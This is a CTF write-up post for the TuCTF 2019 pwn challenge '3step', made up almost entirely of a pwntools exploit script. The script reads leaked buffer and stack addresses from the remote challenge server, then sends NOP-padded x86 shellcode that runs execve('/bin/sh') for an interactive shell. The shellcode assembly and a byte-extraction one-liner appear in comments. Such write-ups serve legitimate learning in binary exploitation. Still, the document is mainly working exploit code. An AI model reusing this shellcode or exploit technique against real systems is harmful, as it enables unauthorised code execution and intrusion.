Tags: shellcode binary-exploitation pwm shellcoding 

Rating: 5.0

from pwn import *
from struct import pack

##########################################################################
# My approach to Binary Exploitation.
# DOWNLOAD PWNTOOLS TO RUN!
# TO FIND LIBC VERSION, use https://libc.blukat.me/
##########################################################################

nops = b'\x90'
padding = b'\x00'

clean = lambda x: x.split('\n')[1:-2]
pad = lambda x: x + padding*(4-len(x))

##########################################################################
# Load Binaries
##########################################################################

elf = ELF('./3step')
context.binary = './3step'

##########################################################################
# Generate Initial Payload to Leak memory
##########################################################################

# create shellcode (shell.asm)
# SECTION .text
# global main

# main:
# ;xor eax, eax
# push 0x00000000;eax
# push 0x68732f2f
# push 0x6e69622f
# push 0x41424344
# ret;jmp eax
# nop
# xor eax, eax
# mov ebx, esp
# mov ecx, eax
# mov edx, eax
# mov al,0xb
# int 0x80

# create Shellcode (./shellcodegen.sh shell)
#!/bin/bash
# nasm -f elf $1.asm -o $1
# echo $(objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/')

##########################################################################
# Actual Exploitation ==>
##########################################################################

# r = elf.process()
r = remote('chal.tuctf.com', 30504)
r.readline()
r.readline()

buf_addr = p32(int(r.readline()[:-1].decode('utf-8'), 16))
stack_addr = p32(int(r.readline()[:-1].decode('utf-8'), 16))

shellcode1 = b'\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68' + stack_addr + b'\xc3'
shellcode2 = b'\x31\xc0\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'

payload = shellcode1 + shellcode2 + b'\x90'*(37 - (len(shellcode1 + shellcode2) + 4)) + b'\n' + buf_addr

r.clean()
r.sendline(payload)
r.interactive()

Original writeup (https://github.com/AshishKumar4/CTF_Writeups/blob/master/TuCTF_2019/PWN/3step/my_exploit.py).